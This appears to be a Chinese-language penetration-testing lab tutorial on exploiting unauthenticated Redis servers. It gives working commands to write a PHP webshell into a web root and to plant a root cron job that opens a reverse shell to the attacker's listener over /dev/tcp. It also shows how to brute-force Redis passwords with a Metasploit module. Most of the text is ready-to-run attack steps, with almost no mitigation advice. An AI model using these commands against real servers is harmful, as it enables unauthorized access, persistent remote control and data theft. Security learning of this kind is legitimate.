Redis
是跨平台的非关系型数据库。可以将内存中的数据保存在磁盘中,重启的时候可以再次加载进行使用。它支持字符串、哈希表、列表、集合、有序集合,位图,hyperloglogs等数据类型。
漏洞原理
Redis
默认6379
端口并且为密码或弱密码的情况下,处于公网的redis服务就会被任意的用户未授权访问,读取数据,利用redis自身的命令,进行写入文件操作。从而获得系统权限。
实验环境
- Centos7(公网、受害端)
Kali Linux(攻击端)
安装Redis
我们首先在Centos中安装
Redis
。分别执行下面命令wget http://download.redis.io/releases/redis-2.8.17.tar.gz #下载 tar xzf redis-2.8.17.tar.gz #解压 cd redis-2.8.17 make #编译 cd src cp redis-server /usr/bin cp redis-cli /usr/bin cd .. cp redis.conf /etc/ redis-server /etc/redis.conf
需要注意的是,我们要在防火墙和安全组中开启6379
端口未授权测试
我们在kali中直接执行下面命令
redis-cli -h 8.219.xxx.xxx
如果是高版本的redis需要修改配置文件。将bind前面#
注释符去掉,将protected-mode
后面改为no
。利用redis写webshell
在利用redis写webshell时,我们需要知道web站点的路径。不然即使生成webshell你也连不上。假设我们的站点目录时
/var/www/html
执行下面命令即可。config set dir /var/www/html #设置目录 config set dbfilename kali.php #生成文件 set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n" #给文件中写入内容 save#保存
完成后,我们访问文件反弹Shell
我们在kali中利用nc进行监听端口。
nc -lvp 5555
接下来我们用redis
创建定时任务文件。通过定时任务来上线ncconfig set dir /var/spool/cron/crontabs config set dbfilename root set xxx "\n\n* * * * * /bin/bash -i>&/dev/tcp/kali的IP/5555 0>&1\n\n" save
到时间后,会自动执行命令从而上线。
redis密码破解
一般情况下,都会设置默认密码。我们在配置文件
redis.conf
修改。
配置msfmsfconsole use auxiliary/scanner/redis/redis_login set RHOSTS 8.219.xxx.xxx set PASS_FILE /root/22.txt #设置密码字典 run
在msf中还有很多对redis的利用模块。我们可以利用下面命令查看
search redis
简单配置后,便可以直接使用。